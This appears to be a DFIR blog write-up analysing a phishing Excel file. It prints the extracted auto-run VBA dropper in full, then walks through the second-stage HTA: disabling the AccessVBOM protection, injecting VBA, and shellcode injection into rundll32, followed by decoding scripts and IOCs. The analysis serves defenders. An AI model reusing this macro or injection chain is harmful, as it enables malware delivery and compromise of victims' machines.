Macro on Phishing Email
Series: DFIR
- Reading time : “16 min”
The phishing email
After receiving this phishing email with this information, the link on the download leads to downloading a suspicious XLSX file.

Key Observations:
- The email uses social engineering tactics to create urgency
- The download link points to an external hosting service
- No legitimate business would request action through such generic messaging
The Malicious XLSX File
By gathering its SHA256 and verifying on VirusTotal, we can tell that it is a malicious file.
sha256sum 0nfoPg800fq06IGB.xlsx
3861795ece849d6b417a3c9870a7e0a0eccd27f74e706b9242d94d5e8885b705 0nfoPg800fq06IGB.xlsx

Extracting the Macro
Using the tool oledump.py, we can extract the malicious macro code embedded in this file:
python3 oledump.py 0nfoPg800fq06IGB.xlsx
A: xl/vbaProject.bin
A1: 573 'PROJECT'
A2: 113 'PROJECTwm'
A3: 97 'UZdcUQeJ/\x01CompObj'
A4: 290 'UZdcUQeJ/\x03VBFrame'
A5: 94 'UZdcUQeJ/f'
A6: 7124 'UZdcUQeJ/o'
A7: M 11454 'VBA/Module1'
A8: m 1196 'VBA/Sheet1'
A9: m 1015 'VBA/ThisWorkbook'
A10: M 1566 'VBA/UZdcUQeJ'
A11: 4715 'VBA/_VBA_PROJECT'
A12: 4026 'VBA/__SRP_0'
A13: 329 'VBA/__SRP_1'
A14: 308 'VBA/__SRP_2'
A15: 265 'VBA/__SRP_3'
A16: 432 'VBA/__SRP_6'
A17: 106 'VBA/__SRP_7'
A18: 882 'VBA/dir'
The M indicator next to streams A7 and A10 shows they contain VBA macros. Let’s examine Module1:
python3 oledump.py -s A7 -v 0nfoPg800fq06IGB.xlsx
Attribute VB_Name = "Module1"
Private Const clOneMask = 16515072
Private Const clTwoMask = 258048
Private Const clThreeMask = 4032
Private Const clFourMask = 63
Private Const clHighMask = 16711680
Private Const clMidMask = 65280
Private Const clLowMask = 255
Private Const cl2Exp18 = 262144
Private Const cl2Exp12 = 4096
Private Const cl2Exp6 = 64
Private Const cl2Exp8 = 256
Private Const cl2Exp16 = 65536
Public Function LeOyoqoF(sString As String) As String
Dim bTrans(63) As Byte, lPowers8(255) As Long, lPowers16(255) As Long, bOut() As Byte, bIn() As Byte
Dim lChar As Long, lTrip As Long, iPad As Integer, lLen As Long, lTemp As Long, lPos As Long, lOutSize As Long
For lTemp = 0 To 63
Select Case lTemp
Case 0 To 25
bTrans(lTemp) = 65 + lTemp
Case 26 To 51
bTrans(lTemp) = 71 + lTemp
Case 52 To 61
bTrans(lTemp) = lTemp - 4
Case 62
bTrans(lTemp) = 43
Case 63
bTrans(lTemp) = 47
End Select
Next lTemp
For lTemp = 0 To 255
lPowers8(lTemp) = lTemp * cl2Exp8
lPowers16(lTemp) = lTemp * cl2Exp16
Next lTemp
iPad = Len(sString) Mod 3
If iPad Then
iPad = 3 - iPad
sString = sString & String(iPad, Chr(0))
End If
bIn = StrConv(sString, vbFromUnicode)
lLen = ((UBound(bIn) + 1) \ 3) * 4
lTemp = lLen \ 72
lOutSize = ((lTemp * 2) + lLen) - 1
ReDim bOut(lOutSize)
lLen = 0
For lChar = LBound(bIn) To UBound(bIn) Step 3
lTrip = lPowers16(bIn(lChar)) + lPowers8(bIn(lChar + 1)) + bIn(lChar + 2)
lTemp = lTrip And clOneMask
bOut(lPos) = bTrans(lTemp \ cl2Exp18)
lTemp = lTrip And clTwoMask
bOut(lPos + 1) = bTrans(lTemp \ cl2Exp12)
lTemp = lTrip And clThreeMask
bOut(lPos + 2) = bTrans(lTemp \ cl2Exp6)
bOut(lPos + 3) = bTrans(lTrip And clFourMask)
If lLen = 68 Then
bOut(lPos + 4) = 13
bOut(lPos + 5) = 10
lLen = 0
lPos = lPos + 6
Else
lLen = lLen + 4
lPos = lPos + 4
End If
Next lChar
If bOut(lOutSize) = 10 Then lOutSize = lOutSize - 2
If iPad = 1 Then
bOut(lOutSize) = 61
ElseIf iPad = 2 Then
bOut(lOutSize) = 61
bOut(lOutSize - 1) = 61
End If
LeOyoqoF = StrConv(bOut, vbUnicode)
End Function
Public Function hdYJNJmt(sString As String) As String
Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim lTemp As Long
sString = Replace(sString, vbCr, vbNullString)
sString = Replace(sString, vbLf, vbNullString)
lTemp = Len(sString) Mod 4
If lTemp Then
Call Err.Raise(vbObjectError, "", "")
End If
If InStrRev(sString, "==") Then
iPad = 2
ElseIf InStrRev(sString, "=") Then
iPad = 1
End If
For lTemp = 0 To 255
Select Case lTemp
Case 65 To 90
bTrans(lTemp) = lTemp - 65
Case 97 To 122
bTrans(lTemp) = lTemp - 71
Case 48 To 57
bTrans(lTemp) = lTemp + 4
Case 43
bTrans(lTemp) = 62
Case 47
bTrans(lTemp) = 63
End Select
Next lTemp
For lTemp = 0 To 63
lPowers6(lTemp) = lTemp * cl2Exp6
lPowers12(lTemp) = lTemp * cl2Exp12
lPowers18(lTemp) = lTemp * cl2Exp18
Next lTemp
bIn = StrConv(sString, vbFromUnicode)
ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
For lChar = 0 To UBound(bIn) Step 4
lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
lTemp = lQuad And clHighMask
bOut(lPos) = lTemp \ cl2Exp16
lTemp = lQuad And clMidMask
bOut(lPos + 1) = lTemp \ cl2Exp8
bOut(lPos + 2) = lQuad And clLowMask
lPos = lPos + 3
Next lChar
sOut = StrConv(bOut, vbUnicode)
If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
hdYJNJmt = sOut
End Function
Sub Auto_Open()
Dim fHdswUyK, GgyYKuJh
Application.Goto ("JLprrpFr")
GgyYKuJh = Environ("temp") & "\LwTHLrGh.hta"
Open GgyYKuJh For Output As #1
Write #1, hdYJNJmt(ActiveSheet.Shapes(2).AlternativeText & UZdcUQeJ.yTJtzjKX & Selection)
Close #1
fHdswUyK = "msh" & "ta " & GgyYKuJh
x = Shell(fHdswUyK, 1)
End Sub
Macro Code Analysis
The extracted macro contains three main components:
1. Base64 Encoding Function (LeOyoqoF)
- Custom implementation of Base64 encoding
- Used to obfuscate data
2. Base64 Decoding Function (hdYJNJmt)
- Decodes Base64 strings
- Used to decode the embedded HTA file content
3. Auto-Execution Routine (Auto_Open)
Sub Auto_Open()
Dim fHdswUyK, GgyYKuJh
Application.Goto ("JLprrpFr")
GgyYKuJh = Environ("temp") & "\LwTHLrGh.hta"
Open GgyYKuJh For Output As #1
Write #1, hdYJNJmt(ActiveSheet.Shapes(2).AlternativeText & UZdcUQeJ.yTJtzjKX & Selection)
Close #1
fHdswUyK = "msh" & "ta " & GgyYKuJh
x = Shell(fHdswUyK, 1)
End Sub
What this macro does:
- Navigates to a specific cell range (“JLprrpFr”)
- Constructs a file path in the user’s temp directory:
%TEMP%\LwTHLrGh.hta - Decodes Base64 content from:
- Alternative text of Shape 2 on the active sheet
- Content from the UZdcUQeJ module
- Current selection
- Writes decoded content to LwTHLrGh.hta
- Executes the HTA file using
mshta.exe(string concatenation to evade detection)
Dynamic Analysis

By performing dynamic analysis of this XLSX file in a sandbox environment, we can observe the attack chain in real-time. The suspicious file LwTHLrGh.hta is created in the temp directory and then executed.
Key Behavioral Indicators:
- File creation in
%TEMP%directory - Execution of
mshta.exe(Windows HTML Application Host) - Network connections (if any - check AnyRun report)
- Registry modifications
Analyzing the HTA File (LwTHLrGh.hta)

The HTA file contains the second-stage payload. Let’s walk through its execution flow step by step.
Phase 1: Initial Setup & Security Bypass
- Creates an invisible Excel instance running in the background
- User won’t see anything happening
Dim objExcel, WshShell, RegPath, action, objWorkbook, xlmodule
Set objExcel = CreateObject("Excel.Application")
objExcel.Visible = False
- Creates Windows Script Host object to interact with Windows registry and system
Set WshShell = CreateObject("Wscript.Shell")
Function to check if the Regexist
function RegExists(regKey)
on error resume next
WshShell.RegRead regKey
RegExists = (Err.number = 0)
end function
- Builds path to Excel’s security setting that controls macro access
' Get the old AccessVBOM value
RegPath = ""HKEY_CURRENT_USER\Software\Microsoft\Office\"" & objExcel.Version & ""\Excel\Security\AccessVBOM""
- Check if it does exist
if RegExists(RegPath) then
action = WshShell.RegRead(RegPath)
else
action = ""
end if
- Saves the original security setting so it can be restored later (to hide evidence)
- DISABLES EXCEL SECURITY by setting AccessVBOM to 1
- This allows the script to programmatically inject code into Excel
' Weaken the target
WshShell.RegWrite RegPath, 1, ""REG_DWORD""
Phase 2: Building the Malicious Macro
- Creates a new Excel workbook
- Adds a VBA module to it
Set objWorkbook = objExcel.Workbooks.Add()
Set xlmodule = objWorkbook.VBProject.VBComponents.Add(1)
xlmodule.CodeModule.AddFromString "Private "&"Type PRO"&"CESS_INF"&"ORMATION"...
- Injects obfuscated VBA code into the module
- Uses &Chr(10)& to insert newlines
- Uses string concatenation (&) to break up suspicious keywords
- What the Injected VBA Code Contains:
myArray = Array(-35,-63,-65,32,86,66,126,-39,116,36,-12,91,49,-55,-79,98...)
- What the Injected VBA Code Contains:
Step 2a: Windows API Declarations
Private Type PROCESS_INFORMATION
Private Type STARTUPINFO
- Defines Windows structures needed for process manipulation
Private Declare Function CreateRemoteThread...
Private Declare Function VirtualAllocEx...
Private Declare Function WriteProcessMemory...
Private Declare Function CreateProcessA...
-
Declares Windows API functions for:
- Creating processes
- Allocating memory in other processes
- Writing to other process memory
- Creating remote threads (code execution)
Step 2b: The Shellcode Payload
myArray = Array(-35,-63,-65,32,86,66,126,-39,116,36,-12,91,49,-55,-79,98...)
- This is the actual malware payload
- It’s an encrypted/encoded shellcode stored as signed bytes
- The negative numbers are just a simple obfuscation (will be converted to unsigned bytes)
Step 2c: Process Selection
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If
- Detects if system is 64-bit or 32-bit
- Chooses appropriate rundll32.exe path (a legitimate Windows process)
- This will be the “host” process for the malware
Step 2d: Create Suspended Process
res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
- Calls CreateProcessA (aliased as RunStuff)
- The ByVal 4& flag means CREATE_SUSPENDED
- Creates rundll32.exe but keeps it frozen (not running yet)
Step 2e: Allocate Executable Memory
rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
- Calls VirtualAllocEx (aliased as AllocStuff)
- Allocates memory in the suspended rundll32.exe process
- &H1000 = MEM_COMMIT (reserve and commit memory)
- &H40 = PAGE_EXECUTE_READWRITE (memory can be executed)
Step 2f: Write Shellcode to Target Process
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
- Writes each byte of the shellcode into the allocated memory
- Loops through the entire myArray
- Uses WriteProcessMemory (aliased as WriteStuff)
Step 2g: Execute the Shellcode
vbares = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
- Calls CreateRemoteThread (aliased as CreateStuff)
- Starts a new thread in rundll32.exe pointing to the shellcode
- The malware now executes inside a legitimate Windows process
Step 2h: Auto-execution Triggers
vbaSub Auto_Open()
Sub AutoOpen()
Sub Workbook_Open()
-
Multiple entry points ensure the code runs when:
- Excel workbook opens
- Macros are enabled
Phase 3: Execute the Injected Macro
objExcel.DisplayAlerts = False
on error resume next
objExcel.Run "Auto_Open"
- Disables Excel warnings/alerts
- Ignores any errors (to avoid detection)
- Runs the malicious macro that was just injected
Phase 4: Cleanup & Cover Tracks
objWorkbook.Close False
objExcel.Quit
- Closes the workbook without saving
- Closes Excel
if action = "" then
WshShell.RegDelete RegPath
else
WshShell.RegWrite RegPath, action, "REG_DWORD"
end if
Decoding the Obfuscated Code
To to decode the Chr() obfuscation from the HTA file, we can use this Python script:
import re
obfuscated_code = """[paste the obfuscated code here]"""
# Replace Chr() functions with their actual characters
def decode_chr(match):
return chr(int(match.group(1)))
decoded = re.sub(r'Chr\((\d+)\)', decode_chr, obfuscated_code)
# Remove string concatenation operators
decoded = decoded.replace('&', '')
print(decoded)
Creating Binary File from Shellcode Array
To analyze the shellcode with tools like scdbg, we first need to convert the byte array to a binary file:
shellcode = [
-35,-63,-65,32,86,66,126,-39,116,36,-12,91,49,-55,-79,98,49,123,24,3,123,24,-125,
-61,36,-76,-73,-126,-52,-70,56,123,12,-37,-79,-98,61,-37,-90,-21,109,-21,-83,-66,-127...
]
with open("out.bin", "wb") as out:
for b in shellcode:
out.write((b & 0xff).to_bytes(1, 'little'))
The & 0xff operation correctly handles the negative values in your array by converting them to their unsigned byte equivalents (e.g., -35 becomes 221). This will create a binary file that you can then analyze with scdbg or other shellcode analysis tools.
Shellcode Analysis with scdbg
To analyze the shellcode with scdbg, we can use this command:
scdbg.exe /f out.bin
Indicators of Compromise (IOCs)
File Hashes (SHA256)
XLSX File: 3861795ece849d6b417a3c9870a7e0a0eccd27f74e706b9242d94d5e8885b705
HTA File: 8d74853d271ec7a12880c4e33591df212628e3cb6a2f4038adad28c4b6891a96
File Names
0nfoPg800fq06IGB.xlsxLwTHLrGh.hta(created in %TEMP%)
Registry Keys Modified
HKEY_CURRENT_USER\Software\Microsoft\Office\[version]\Excel\Security\AccessVBOM
Process Execution Chain
Outlook.exe (or browser)
└─> Excel.exe (opens malicious XLSX)
└─> mshta.exe (executes HTA)
└─> Excel.exe (invisible instance)
└─> rundll32.exe (injected with shellcode)